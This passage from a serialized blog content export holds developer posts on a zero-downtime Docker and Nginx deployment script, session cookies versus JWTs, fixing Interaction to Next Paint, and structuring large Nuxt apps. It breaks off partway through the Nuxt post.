running\n",[26,4790,4791,4794,4797,4800,4803,4806,4809],{"class":28,"line":176},[26,4792,4793],{"class":375},"if",[26,4795,4796],{"class":446}," grep",[26,4798,4799],{"class":436}," -q",[26,4801,4802],{"class":386}," \"3001\"",[26,4804,4805],{"class":386}," \u002Fetc\u002Fnginx\u002Fconf.d\u002Fupstream.conf",[26,4807,4808],{"class":379},"; ",[26,4810,4811],{"class":375},"then\n",[26,4813,4814,4817,4819],{"class":28,"line":182},[26,4815,4816],{"class":379},"  CURRENT_COLOR",[26,4818,746],{"class":375},[26,4820,4821],{"class":386},"\"blue\"\n",[26,4823,4824,4827,4829],{"class":28,"line":188},[26,4825,4826],{"class":379},"  TARGET_COLOR",[26,4828,746],{"class":375},[26,4830,4831],{"class":386},"\"green\"\n",[26,4833,4834,4837,4839],{"class":28,"line":470},[26,4835,4836],{"class":379},"  TARGET_PORT",[26,4838,746],{"class":375},[26,4840,4841],{"class":386},"3002\n",[26,4843,4844],{"class":28,"line":476},[26,4845,4846],{"class":375},"else\n",[26,4848,4849,4851,4853],{"class":28,"line":482},[26,4850,4816],{"class":379},[26,4852,746],{"class":375},[26,4854,4831],{"class":386},[26,4856,4857,4859,4861],{"class":28,"line":487},[26,4858,4826],{"class":379},[26,4860,746],{"class":375},[26,4862,4821],{"class":386},[26,4864,4865,4867,4869],{"class":28,"line":494},[26,4866,4836],{"class":379},[26,4868,746],{"class":375},[26,4870,4871],{"class":386},"3001\n",[26,4873,4874],{"class":28,"line":518},[26,4875,4876],{"class":375},"fi\n",[26,4878,4879],{"class":28,"line":526},[26,4880,428],{"emptyLinePlaceholder":294},[26,4882,4883,4886,4889,4892,4895,4898],{"class":28,"line":532},[26,4884,4885],{"class":436},"echo",[26,4887,4888],{"class":386}," \"🚀 Deploying ",[26,4890,4891],{"class":379},"$TARGET_COLOR",[26,4893,4894],{"class":386}," on port ",[26,4896,4897],{"class":379},"$TARGET_PORT",[26,4899,4900],{"class":386},"...\"\n",[26,4902,4903],{"class":28,"line":538},[26,4904,428],{"emptyLinePlaceholder":294},[26,4906,4907],{"class":28,"line":550},[26,4908,4909],{"class":490},"# 1. Pull latest image and boot target container\n",[26,4911,4912,4914,4917,4920,4923],{"class":28,"line":561},[26,4913,3121],{"class":446},[26,4915,4916],{"class":386}," compose",[26,4918,4919],{"class":386}," pull",[26,4921,4922],{"class":386}," app-",[26,4924,4925],{"class":379},"$TARGET_COLOR\n",[26,4927,4928,4930,4932,4935,4938,4940],{"class":28,"line":567},[26,4929,3121],{"class":446},[26,4931,4916],{"class":386},[26,4933,4934],{"class":386}," up",[26,4936,4937],{"class":436}," -d",[26,4939,4922],{"class":386},[26,4941,4925],{"class":379},[26,4943,4944],{"class":28,"line":578},[26,4945,428],{"emptyLinePlaceholder":294},[26,4947,4948],{"class":28,"line":584},[26,4949,4950],{"class":490},"# 2. Health check target container\n",[26,4952,4953,4955,4958,4960],{"class":28,"line":601},[26,4954,4885],{"class":436},[26,4956,4957],{"class":386}," \"⏳ Waiting for ",[26,4959,4891],{"class":379},[26,4961,4962],{"class":386}," to become healthy...\"\n",[26,4964,4965,4968,4971,4974,4977,4980,4982],{"class":28,"line":618},[26,4966,4967],{"class":375},"for",[26,4969,4970],{"class":379}," i ",[26,4972,4973],{"class":375},"in",[26,4975,4976],{"class":379}," {",[26,4978,4979],{"class":446},"1..30}",[26,4981,4808],{"class":379},[26,4983,4984],{"class":375},"do\n",[26,4986,4987,4989,4992,4995,4998,5000,5003,5005,5007,5009,5012,5014],{"class":28,"line":624},[26,4988,706],{"class":375},[26,4990,4991],{"class":446}," curl",[26,4993,4994],{"class":436}," -s",[26,4996,4997],{"class":386}," http:\u002F\u002F127.0.0.1:",[26,4999,4897],{"class":379},[26,5001,5002],{"class":386},"\u002Fapi\u002Fhealth",[26,5004,3857],{"class":375},[26,5006,4796],{"class":446},[26,5008,4799],{"class":436},[26,5010,5011],{"class":386}," \"ok\"",[26,5013,4808],{"class":379},[26,5015,4811],{"class":375},[26,5017,5018,5021],{"class":28,"line":636},[26,5019,5020],{"class":436},"    echo",[26,5022,5023],{"class":386}," \"✅ Health check passed!\"\n",[26,5025,5026],{"class":28,"line":642},[26,5027,5028],{"class":375},"    break\n",[26,5030,5031],{"class":28,"line":648},[26,5032,5033],{"class":375},"  fi\n",[26,5035,5036,5039],{"class":28,"line":654},[26,5037,5038],{"class":446},"  sleep",[26,5040,5041],{"class":436}," 1\n",[26,5043,5044,5046,5049,5052,5055,5058],{"class":28,"line":660},[26,5045,706],{"class":375},[26,5047,5048],{"class":379}," [ $i ",[26,5050,5051],{"class":375},"-eq",[26,5053,5054],{"class":436}," 30",[26,5056,5057],{"class":379}," ]; ",[26,5059,4811],{"class":375},[26,5061,5062,5064],{"class":28,"line":666},[26,5063,5020],{"class":436},[26,5065,5066],{"class":386}," \"❌ Health check timed out! Aborting deployment.\"\n",[26,5068,5069,5072,5074,5077,5079],{"class":28,"line":671},[26,5070,5071],{"class":446},"    docker",[26,5073,4916],{"class":386},[26,5075,5076],{"class":386}," stop",[26,5078,4922],{"class":386},[26,5080,4925],{"class":379},[26,5082,5083,5086],{"class":28,"line":677},[26,5084,5085],{"class":436},"    exit",[26,5087,5041],{"class":436},[26,5089,5090],{"class":28,"line":703},[26,5091,5033],{"class":375},[26,5093,5094],{"class":28,"line":721},[26,5095,5096],{"class":375},"done\n",[26,5098,5099],{"class":28,"line":758},[26,5100,428],{"emptyLinePlaceholder":294},[26,5102,5103],{"class":28,"line":780},[26,5104,5105],{"class":490},"# 3. Atomically switch Nginx upstream\n",[26,5107,5108,5110,5113,5115,5118,5121],{"class":28,"line":786},[26,5109,4885],{"class":436},[26,5111,5112],{"class":386}," \"upstream backend { server 127.0.0.1:",[26,5114,4897],{"class":379},[26,5116,5117],{"class":386},"; }\"",[26,5119,5120],{"class":375}," >",[26,5122,5123],{"class":386}," \u002Fetc\u002Fnginx\u002Fconf.d\u002Fupstream.conf\n",[26,5125,5126,5129,5132,5135,5137,5139],{"class":28,"line":792},[26,5127,5128],{"class":446},"nginx",[26,5130,5131],{"class":436}," -t",[26,5133,5134],{"class":379}," && ",[26,5136,5128],{"class":446},[26,5138,4994],{"class":436},[26,5140,5141],{"class":386}," reload\n",[26,5143,5144],{"class":28,"line":797},[26,5145,428],{"emptyLinePlaceholder":294},[26,5147,5148,5150,5153,5155,5158,5161],{"class":28,"line":805},[26,5149,4885],{"class":436},[26,5151,5152],{"class":386}," \"🎉 Traffic switched to ",[26,5154,4891],{"class":379},[26,5156,5157],{"class":386},". Stopping ",[26,5159,5160],{"class":379},"$CURRENT_COLOR",[26,5162,4900],{"class":386},[26,5164,5165,5167,5169,5171,5173],{"class":28,"line":811},[26,5166,3121],{"class":446},[26,5168,4916],{"class":386},[26,5170,5076],{"class":386},[26,5172,4922],{"class":386},[26,5174,5175],{"class":379},"$CURRENT_COLOR\n",[61,5177],{},[64,5179,5181],{"id":5180},"why-this-works-flawlessly","Why This Works Flawlessly",[2488,5183,5184,5192],{},[201,5185,5186,5191],{},[49,5187,5188,5190],{},[23,5189,4612],{}," does not terminate worker processes abruptly",": Existing in-flight requests finish on the old container, while new incoming TCP connections are immediately routed to the new container.",[201,5193,5194,5197],{},[49,5195,5196],{},"Failed deployments never impact users",": If the new build has a runtime syntax error or fails database connection, the health check fails, the script aborts, and Nginx continues serving traffic from the old container with zero interruptions.",[274,5199,5200],{},"html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":21,"searchDepth":35,"depth":35,"links":5202},[5203,5204,5206,5207],{"id":4561,"depth":35,"text":4562},{"id":4625,"depth":35,"text":5205},"2. The Blue\u002FGreen docker-compose.yml",{"id":4752,"depth":35,"text":4753},{"id":5180,"depth":35,"text":5181},"2026-09-11","You don't need Kubernetes to deploy without dropping user connections. Shows a simple blue\u002Fgreen container switch using Nginx reload on a $10\u002Fmonth VPS.",{},"\u002Fblog\u002Fen\u002Fzero-downtime-docker-nginx",{"title":4520,"description":5209},"zero-downtime-docker-nginx","blog\u002Fen\u002Fzero-downtime-docker-nginx",[3121,3120,5128,5216,3124],"deployment","yRxvasqhEyS2g6Z6v4AJJ8atTV9yKErRumLXF6l19wY",{"id":5219,"title":5220,"author":7,"body":5221,"date":5394,"description":5395,"extension":290,"featured":291,"image":292,"meta":5396,"navigation":294,"path":5397,"readingTime":188,"seo":5398,"slug":5399,"stem":5400,"tags":5401,"__hash__":5402},"blog\u002Fblog\u002Fen\u002Fsession-cookies-vs-jwt.md","Session Cookies vs. JWTs in 2026: Why the Industry is Moving Back to Stateful Sessions",{"type":9,"value":5222,"toc":5386},[5223,5229,5235,5238,5240,5244,5247,5250,5267,5274,5285,5287,5291,5315,5317,5321,5324,5330,5334,5366,5368,5372,5379],[12,5224,5225,5226],{},"A decade ago, the tech industry fell in love with JSON Web Tokens (JWTs). The promise was irresistible: ",[96,5227,5228],{},"\"Stateless authentication! No database lookups on every request! Infinite scalability!\"",[12,5230,5231,5232,113],{},"Yet in 2026, tech leaders and senior architects across GitHub, Stripe, and modern SaaS startups are actively migrating back to ",[49,5233,5234],{},"stateful, cookie-backed sessions",[12,5236,5237],{},"Why did the stateless dream fail in practice, and why are stateful sessions the superior architecture for 95% of web applications?",[61,5239],{},[64,5241,5243],{"id":5242},"_1-the-myth-of-the-stateless-jwt","1. The Myth of the \"Stateless\" JWT",[12,5245,5246],{},"A JWT works by having the server cryptographically sign a payload containing user identity and permissions. Any server that knows the secret key can verify the signature without hitting a database.",[12,5248,5249],{},"That works beautifully — until you need to answer basic security questions:",[2488,5251,5252,5257,5262],{},[201,5253,5254],{},[49,5255,5256],{},"How do you immediately log out a user when their password is changed?",[201,5258,5259],{},[49,5260,5261],{},"How do you instantly revoke access when an employee is fired or a token is leaked?",[201,5263,5264],{},[49,5265,5266],{},"How do you invalidate sessions across all devices?",[12,5268,5269,5270,5273],{},"With pure stateless JWTs, you cannot. A token remains valid until its expiration time (",[23,5271,5272],{},"exp",") elapses. If a user sets a 7-day token, a compromised token can access your API for 7 days.",[12,5275,5276,5277,5280,5281,5284],{},"To solve this, developers invent ",[49,5278,5279],{},"token blacklists in Redis",". But the moment you query Redis on every request to check if a token is blacklisted, ",[49,5282,5283],{},"your architecture is no longer stateless",". You now have all the operational complexity of stateful sessions, but with none of the benefits.",[61,5286],{},[64,5288,5290],{"id":5289},"_2-token-bloat-vs-lean-session-ids","2. Token Bloat vs. Lean Session IDs",[198,5292,5293,5303],{},[201,5294,5295,5298,5299,5302],{},[49,5296,5297],{},"JWT Size",": An encoded JWT with claims and scopes typically weighs ",[49,5300,5301],{},"800 to 2,500 bytes",". Sent on every HTTP request and API header, this adds significant bandwidth overhead, especially on mobile networks.",[201,5304,5305,5308,5309,689,5312,3932],{},[49,5306,5307],{},"Session Cookie Size",": A cryptographically random UUID session ID weighs ",[49,5310,5311],{},"36 bytes",[23,5313,5314],{},"session=c4847a61-18f1-4ace-afbd-7d7f50532b33",[61,5316],{},[64,5318,5320],{"id":5319},"_3-the-modern-stateful-session-stack","3. The Modern Stateful Session Stack",[12,5322,5323],{},"The gold standard for modern web applications in 2026 looks like this:",[16,5325,5328],{"className":5326,"code":5327,"language":349,"meta":21},[347],"Browser                           Backend API                       Redis Store\n   │                                   │                                 │\n   ├────── Request with Cookie ───────►│                                 │\n   │  (HttpOnly, Secure, SameSite)     ├───── MGET session:c484... ─────►│\n   │                                   │◄──── { userId, role, orgId } ───┤ (\u003C 0.5ms)\n   │◄───── Valid Response ─────────────┤                                 │\n",[23,5329,5327],{"__ignoreMap":21},[193,5331,5333],{"id":5332},"key-properties","Key Properties:",[198,5335,5336,5346,5356],{},[201,5337,5338,5342,5343,5345],{},[49,5339,5340],{},[23,5341,128],{},": JavaScript cannot access the session cookie (",[23,5344,210],{},"), completely immunizing your auth tokens against XSS theft.",[201,5347,5348,5355],{},[49,5349,5350,263,5352],{},[23,5351,225],{},[23,5353,5354],{},"Strict",": The browser never sends the cookie on cross-site requests, neutralizing CSRF attacks by default.",[201,5357,5358,5361,5362,5365],{},[49,5359,5360],{},"Instant Revocation",": Want to revoke a session? ",[23,5363,5364],{},"redis.del(\"session:\" + sessionId)"," executes in 0.2ms. The user is logged out immediately.",[61,5367],{},[64,5369,5371],{"id":5370},"when-do-jwts-make-sense","When DO JWTs Make Sense?",[12,5373,5374,5375,5378],{},"JWTs are not inherently bad; they are just misused for browser session management. JWTs excel when used as ",[49,5376,5377],{},"short-lived (5-15 minute) bearer tokens between distinct microservices",", or for decentralized single-sign-on (OpenID Connect).",[12,5380,5381,5382,5385],{},"For user authentication in web apps, ",[49,5383,5384],{},"HttpOnly session cookies backed by Redis"," remain faster, safer, and infinitely easier to manage.",{"title":21,"searchDepth":35,"depth":35,"links":5387},[5388,5389,5390,5393],{"id":5242,"depth":35,"text":5243},{"id":5289,"depth":35,"text":5290},{"id":5319,"depth":35,"text":5320,"children":5391},[5392],{"id":5332,"depth":41,"text":5333},{"id":5370,"depth":35,"text":5371},"2026-09-08","Discussing the trade-offs: why the complexity of token invalidation, refresh token rotation, and XSS risks is pushing modern SaaS back to HttpOnly server sessions with Redis.",{},"\u002Fblog\u002Fen\u002Fsession-cookies-vs-jwt",{"title":5220,"description":5395},"session-cookies-vs-jwt","blog\u002Fen\u002Fsession-cookies-vs-jwt",[300,301,3747,4514,3746],"HpAab_X_au9R3etsJ1lnj2797wyfGw9_AE1ATvsgKiY",{"id":5404,"title":5405,"author":7,"body":5406,"date":5780,"description":5781,"extension":290,"featured":291,"image":292,"meta":5782,"navigation":294,"path":5783,"readingTime":182,"seo":5784,"slug":5785,"stem":5786,"tags":5787,"__hash__":5788},"blog\u002Fblog\u002Fen\u002Fmastering-core-web-vitals-inp.md","Mastering Core Web Vitals in 2026: Diagnosing and Fixing Interaction to Next Paint (INP)",{"type":9,"value":5407,"toc":5770},[5408,5415,5422,5429,5431,5435,5438,5441,5461,5463,5467,5470,5513,5515,5519,5526,5529,5697,5699,5703,5710,5758,5760,5764,5767],[12,5409,5410,5411,5414],{},"In March 2024, Google permanently retired First Input Delay (FID) and replaced it with ",[49,5412,5413],{},"Interaction to Next Paint (INP)"," as a Core Web Vital.",[12,5416,5417,5418,5421],{},"While FID only measured the delay of the very first click on a page, ",[49,5419,5420],{},"INP measures the responsiveness of EVERY single interaction"," throughout the user's entire visit (clicking a button, opening a drawer, expanding a dropdown, typing in a form).",[12,5423,5424,5425,5428],{},"If your INP exceeds ",[49,5426,5427],{},"200 milliseconds",", Google marks your site as \"Needs Improvement\" or \"Poor\", penalizing your organic search rankings. In this guide, we'll look at how to diagnose and fix INP issues in modern JavaScript applications.",[61,5430],{},[64,5432,5434],{"id":5433},"_1-the-anatomy-of-an-interaction","1. The Anatomy of an Interaction",[12,5436,5437],{},"When a user clicks an interactive element, the browser goes through three distinct phases:",[12,5439,5440],{},"$$\\text{INP Total Time} = \\text{Input Delay} + \\text{Processing Duration} + \\text{Presentation Delay}$$",[2488,5442,5443,5449,5455],{},[201,5444,5445,5448],{},[49,5446,5447],{},"Input Delay",": The time between the user clicking and your event handler actually starting execution (caused by the main thread being busy with background tasks).",[201,5450,5451,5454],{},[49,5452,5453],{},"Processing Duration",": The time spent executing your JavaScript event handler code.",[201,5456,5457,5460],{},[49,5458,5459],{},"Presentation Delay",": The time the browser takes to recalculate styles, perform layout rendering, and paint the new frame onto the screen.",[61,5462],{},[64,5464,5466],{"id":5465},"_2-finding-long-tasks-in-chrome-devtools","2. Finding Long Tasks in Chrome DevTools",[12,5468,5469],{},"To track down what's blocking the main thread:",[2488,5471,5472,5479,5486,5498],{},[201,5473,5474,5475,5478],{},"Open Chrome DevTools -> ",[49,5476,5477],{},"Performance"," tab.",[201,5480,5481,5482,5485],{},"Click ",[49,5483,5484],{},"Record"," and interact with the sluggish UI element (e.g. clicking a filter button).",[201,5487,5488,5489,5492,5493],{},"Look at the ",[49,5490,5491],{},"Interactions"," lane at the top:\n",[198,5494,5495],{},[201,5496,5497],{},"Yellow or red bars represent interactions taking >200ms.",[201,5499,5500,5501,5504,5505],{},"Scroll down to the ",[49,5502,5503],{},"Main"," thread flame chart:\n",[198,5506,5507],{},[201,5508,5509,5510,113],{},"Any task longer than 50ms is flagged with a red triangle as a ",[49,5511,5512],{},"Long Task",[61,5514],{},[64,5516,5518],{"id":5517},"_3-the-3-most-common-inp-fixes","3. The 3 Most Common INP Fixes",[193,5520,5522,5523],{"id":5521},"fix-1-yielding-to-the-main-thread-with-scheduleryield","Fix 1: Yielding to the Main Thread with ",[23,5524,5525],{},"scheduler.yield()",[12,5527,5528],{},"If your click handler performs heavy work (like client-side sorting of 5,000 items), split the task and yield control back to the browser so it can render a loading state:",[16,5530,5532],{"className":366,"code":5531,"language":368,"meta":21,"style":21},"async function handleFilterClick(category: string) {\n  \u002F\u002F 1. Immediately update visual feedback (e.g. active tab style)\n  activeCategory.value = category\n\n  \u002F\u002F 2. Yield control to let the browser paint the active tab immediately!\n  if ('scheduler' in window && 'yield' in (window as any).scheduler) {\n    await (window as any).scheduler.yield()\n  } else {\n    await new Promise(resolve => setTimeout(resolve, 0))\n  }\n\n  \u002F\u002F 3. Perform the heavy list computation\n  filteredItems.value = expensiveFilter(allItems.value, category)\n}\n",[23,5533,5534,5554,5559,5569,5573,5578,5612,5631,5640,5667,5671,5675,5680,5693],{"__ignoreMap":21},[26,5535,5536,5538,5540,5543,5545,5548,5550,5552],{"class":28,"line":29},[26,5537,506],{"class":375},[26,5539,2069],{"class":375},[26,5541,5542],{"class":446}," handleFilterClick",[26,5544,892],{"class":379},[26,5546,5547],{"class":692},"category",[26,5549,76],{"class":375},[26,5551,3270],{"class":436},[26,5553,718],{"class":379},[26,5555,5556],{"class":28,"line":35},[26,5557,5558],{"class":490},"  \u002F\u002F 1. Immediately update visual feedback (e.g. active tab style)\n",[26,5560,5561,5564,5566],{"class":28,"line":41},[26,5562,5563],{"class":379},"  activeCategory.value ",[26,5565,746],{"class":375},[26,5567,5568],{"class":379}," category\n",[26,5570,5571],{"class":28,"line":170},[26,5572,428],{"emptyLinePlaceholder":294},[26,5574,5575],{"class":28,"line":176},[26,5576,5577],{"class":490},"  \u002F\u002F 2. Yield control to let the browser paint the active tab immediately!\n",[26,5579,5580,5582,5584,5587,5590,5593,5596,5599,5601,5604,5606,5609],{"class":28,"line":182},[26,5581,706],{"class":375},[26,5583,689],{"class":379},[26,5585,5586],{"class":386},"'scheduler'",[26,5588,5589],{"class":375}," in",[26,5591,5592],{"class":379}," window ",[26,5594,5595],{"class":375},"&&",[26,5597,5598],{"class":386}," 'yield'",[26,5600,5589],{"class":375},[26,5602,5603],{"class":379}," (window ",[26,5605,752],{"class":375},[26,5607,5608],{"class":436}," any",[26,5610,5611],{"class":379},").scheduler) {\n",[26,5613,5614,5617,5619,5621,5623,5626,5629],{"class":28,"line":188},[26,5615,5616],{"class":375},"    await",[26,5618,5603],{"class":379},[26,5620,752],{"class":375},[26,5622,5608],{"class":436},[26,5624,5625],{"class":379},").scheduler.",[26,5627,5628],{"class":446},"yield",[26,5630,946],{"class":379},[26,5632,5633,5635,5638],{"class":28,"line":470},[26,5634,4285],{"class":379},[26,5636,5637],{"class":375},"else",[26,5639,515],{"class":379},[26,5641,5642,5644,5646,5649,5651,5654,5657,5660,5663,5665],{"class":28,"line":476},[26,5643,5616],{"class":375},[26,5645,443],{"class":375},[26,5647,5648],{"class":436}," Promise",[26,5650,892],{"class":379},[26,5652,5653],{"class":692},"resolve",[26,5655,5656],{"class":375}," =>",[26,5658,5659],{"class":446}," setTimeout",[26,5661,5662],{"class":379},"(resolve, ",[26,5664,1858],{"class":436},[26,5666,3595],{"class":379},[26,5668,5669],{"class":28,"line":482},[26,5670,657],{"class":379},[26,5672,5673],{"class":28,"line":487},[26,5674,428],{"emptyLinePlaceholder":294},[26,5676,5677],{"class":28,"line":494},[26,5678,5679],{"class":490},"  \u002F\u002F 3. Perform the heavy list computation\n",[26,5681,5682,5685,5687,5690],{"class":28,"line":518},[26,5683,5684],{"class":379},"  filteredItems.value ",[26,5686,746],{"class":375},[26,5688,5689],{"class":446}," expensiveFilter",[26,5691,5692],{"class":379},"(allItems.value, category)\n",[26,5694,5695],{"class":28,"line":526},[26,5696,1067],{"class":379},[61,5698],{},[193,5700,5702],{"id":5701},"fix-2-avoiding-forced-synchronous-layouts-layout-thrashing","Fix 2: Avoiding Forced Synchronous Layouts (Layout Thrashing)",[12,5704,5705,5706,5709],{},"Reading layout geometry (e.g., ",[23,5707,5708],{},"element.offsetHeight",") immediately after writing styles causes the browser to forcefully recalculate the entire page layout mid-script:",[16,5711,5713],{"className":18,"code":5712,"language":20,"meta":21,"style":21},"\u002F\u002F ❌ Layout Thrashing (INP Nightmare)\nboxes.forEach(box => {\n  box.style.width = '200px' \u002F\u002F Write\n  const height = box.offsetHeight \u002F\u002F Read forces immediate synchronous layout!\n})\n\n\u002F\u002F ✅ Batch reads first, then writes\nconst heights = boxes.map(box => box.offsetHeight) \u002F\u002F Batch reads\nboxes.forEach(box => { box.style.width = '200px' }) \u002F\u002F Batch writes\n",[23,5714,5715,5720,5725,5730,5735,5739,5743,5748,5753],{"__ignoreMap":21},[26,5716,5717],{"class":28,"line":29},[26,5718,5719],{},"\u002F\u002F ❌ Layout Thrashing (INP Nightmare)\n",[26,5721,5722],{"class":28,"line":35},[26,5723,5724],{},"boxes.forEach(box => {\n",[26,5726,5727],{"class":28,"line":41},[26,5728,5729],{},"  box.style.width = '200px' \u002F\u002F Write\n",[26,5731,5732],{"class":28,"line":170},[26,5733,5734],{},"  const height = box.offsetHeight \u002F\u002F Read forces immediate synchronous layout!\n",[26,5736,5737],{"class":28,"line":176},[26,5738,663],{},[26,5740,5741],{"class":28,"line":182},[26,5742,428],{"emptyLinePlaceholder":294},[26,5744,5745],{"class":28,"line":188},[26,5746,5747],{},"\u002F\u002F ✅ Batch reads first, then writes\n",[26,5749,5750],{"class":28,"line":470},[26,5751,5752],{},"const heights = boxes.map(box => box.offsetHeight) \u002F\u002F Batch reads\n",[26,5754,5755],{"class":28,"line":476},[26,5756,5757],{},"boxes.forEach(box => { box.style.width = '200px' }) \u002F\u002F Batch writes\n",[61,5759],{},[193,5761,5763],{"id":5762},"fix-3-offloading-heavy-computation-to-web-workers","Fix 3: Offloading Heavy Computation to Web Workers",[12,5765,5766],{},"For intensive tasks like CSV parsing, image resizing, or crypto calculations, offload them completely off the main thread into a Web Worker using libraries like Comlink. The UI stays 100% responsive at 60 FPS regardless of CPU load.",[274,5768,5769],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":21,"searchDepth":35,"depth":35,"links":5771},[5772,5773,5774],{"id":5433,"depth":35,"text":5434},{"id":5465,"depth":35,"text":5466},{"id":5517,"depth":35,"text":5518,"children":5775},[5776,5778,5779],{"id":5521,"depth":41,"text":5777},"Fix 1: Yielding to the Main Thread with scheduler.yield()",{"id":5701,"depth":41,"text":5702},{"id":5762,"depth":41,"text":5763},"2026-09-05","INP officially replaced FID as Google's responsiveness metric. Explaining how to profile Long Tasks in Chrome DevTools and keep UI clicks feeling instant.",{},"\u002Fblog\u002Fen\u002Fmastering-core-web-vitals-inp",{"title":5405,"description":5781},"mastering-core-web-vitals-inp","blog\u002Fen\u002Fmastering-core-web-vitals-inp",[3748,1804,20,1514,303],"-S10G64zmDsIZrWQwMpT8ym_BYzKKst2K_nUFz-KpOg",{"id":5790,"title":5791,"author":7,"body":5792,"date":6014,"description":6015,"extension":290,"featured":291,"image":292,"meta":6016,"navigation":294,"path":6017,"readingTime":470,"seo":6018,"slug":6019,"stem":6020,"tags":6021,"__hash__":6022},"blog\u002Fblog\u002Fen\u002Flarge-nuxt-vue3-architecture.md","How to Structure a Large Nuxt \u002F Vue 3 Application: Modular Architecture That Scales",{"type":9,"value":5793,"toc":6005},[5794,5805,5808,5823,5830,5832,5836,5842,5848,5855,5857,5861,5867,5873,5880,5886,5947,5949,5953,5956,5984,5986,5990,5993,5999,6002],[12,5795,5796,5797,5800,5801,5804],{},"Nuxt 3 & 4 provide an extraordinarily productive developer experience out of the box. You create a file in ",[23,5798,5799],{},"components\u002F",", define a function in ",[23,5802,5803],{},"composables\u002F",", and auto-import handles the rest.",[12,5806,5807],{},"However, once your application grows beyond 50 pages, 150 components, and multiple distinct business domains (Authentication, Billing, Onboarding, Analytics, Settings), the default flat directory structure falls apart:",[198,5809,5810,5815,5820],{},[201,5811,5812,5814],{},[23,5813,5799],{}," turns into a chaotic junk drawer of 200 files.",[201,5816,5817,5819],{},[23,5818,5803],{}," becomes a tangled web of cross-feature dependencies.",[201,5821,5822],{},"Onboarding new developers requires knowing the exact naming convention of every component.",[12,5824,5825,5826,5829],{},"In this article, I present the ",[49,5827,5828],{},"domain-driven, feature-sliced architecture"," I use to keep large Nuxt applications maintainable and scalable.",[61,5831],{},[64,5833,5835],{"id":5834},"_1-the-anti-pattern-layer-first-organization","1. The Anti-Pattern: Layer-First Organization",[12,5837,5838,5839,76],{},"The default structure organizes code by ",[49,5840,5841],{},"technical layer",[16,5843,5846],{"className":5844,"code":5845,"language":349,"meta":21},[347],"📁 components\u002F\n   ├── UserAvatar.vue\n   ├── InvoiceTable.vue\n   ├── CheckoutModal.vue\n   ├── PricingCard.vue\n📁 composables\u002F\n   ├── useAuth.ts\n   ├── useBilling.ts\n   ├── useUser.ts\n",[23,5847,5845],{"__ignoreMap":21},[12,5849,5850,5851,5854],{},"When you need to modify the ",[49,5852,5853],{},"Billing"," flow, you have to jump between 6 different top-level folders. Deleting or refactoring a feature requires hunting down disconnected files.",[61,5856],{},[64,5858,5860],{"id":5859},"_2-the-solution-domain-driven-modules-with-nuxt-layers","2. The Solution: Domain-Driven Modules with Nuxt Layers",[12,5862,5863,5864,76],{},"Instead of organizing by technical layer, organize by ",[49,5865,5866],{},"Business Domain",[16,5868,5871],{"className":5869,"code":5870,"language":349,"meta":21},[347],"📁 app\u002F\n📁 layers\u002F\n   ├── core\u002F                  # Design system, layout primitives, base utilities\n   │   ├── components\u002Fui\u002F     # Button, Badge, Modal, Input\n   │   └── composables\u002F       # useApi, useStorage, useColorTheme\n   │\n   ├── auth\u002F                  # Auth domain\n   │   ├── components\u002F        # LoginForm, RegisterForm, ResetPasswordModal\n   │   ├── composables\u002F       # useAuth, useSession\n   │   └── pages\u002F             # \u002Flogin, \u002Fregister, \u002Fforgot-password\n   │\n   ├── billing\u002F               # Billing & Subscription domain\n   │   ├── components\u002F        # PricingTable, SubscriptionCard, InvoiceRow\n   │   ├── composables\u002F       # useStripe, useInvoices\n   │   ├── server\u002Fapi\u002F        # \u002Fapi\u002Fstripe\u002Fwebhook, \u002Fapi\u002Fbilling\u002Fportal\n   │   └── pages\u002F             # \u002Fbilling, \u002Fcheckout\n   